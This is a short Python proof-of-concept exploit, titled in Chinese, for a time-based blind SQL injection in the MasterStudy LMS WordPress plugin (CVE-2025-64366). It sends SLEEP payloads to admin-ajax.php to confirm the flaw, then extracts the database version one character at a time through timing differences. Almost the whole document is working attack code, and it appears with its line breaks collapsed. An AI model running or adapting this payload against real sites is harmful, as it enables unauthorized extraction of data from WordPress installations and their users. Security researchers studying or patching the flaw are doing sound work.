CVE-2025-64366 MasterStudy LMS 盲注SQL注入漏洞

import requests import time target = "http://target-wordpress-site.com" # Blind SQL Injection PoC - Time-based # This PoC demonstrates the vulnerability by checking if the response time increases def test_blind_sql_injection(url, param_name, param_value): """ Test for blind SQL injection vulnerability """ headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' } # Original request start_time = time.time() response1 = requests.post(url, data={param_name: param_value}, headers=headers, timeout=30) time1 = time.time() - start_time # Request with SQL sleep command # If vulnerable, this will cause a 5 second delay malicious_value = f"{param_value}' AND SLEEP(5)-- -" start_time = time.time() response2 = requests.post(url, headers=headers, data={param_name: malicious_value}, timeout=60) time2 = time.time() - start_time # If time2 > time1 significantly, vulnerability exists if time2 > time1 + 4: print(f"[+] Blind SQL Injection vulnerability confirmed!") print(f"[+] Original request time: {time1:.2f}s") print(f"[+] Malicious request time: {time2:.2f}s") return True else: print(f"[-] No vulnerability detected") return False # Example exploitation - Extract database version def extract_db_version(url, param_name, param_value): """ Extract database version using blind SQL injection """ for i in range(1, 20): for ascii_val in range(32, 127): payload = f"{param_value}' AND IF(SUBSTRING(@@version, {i}, 1) = CHAR({ascii_val}), SLEEP(3), 1)-- -" start = time.time() response = requests.post(url, data={param_name: payload}, timeout=30) elapsed = time.time() - start if elapsed > 2.5: char = chr(ascii_val) print(f"Character {i}: {char}", end='', flush=True) break print() if __name__ == "__main__": # Replace with actual vulnerable endpoint test_url = f"{target}/wp-admin/admin-ajax.php" test_blind_sql_injection(test_url, "action", "stm_lms_get_user_courses")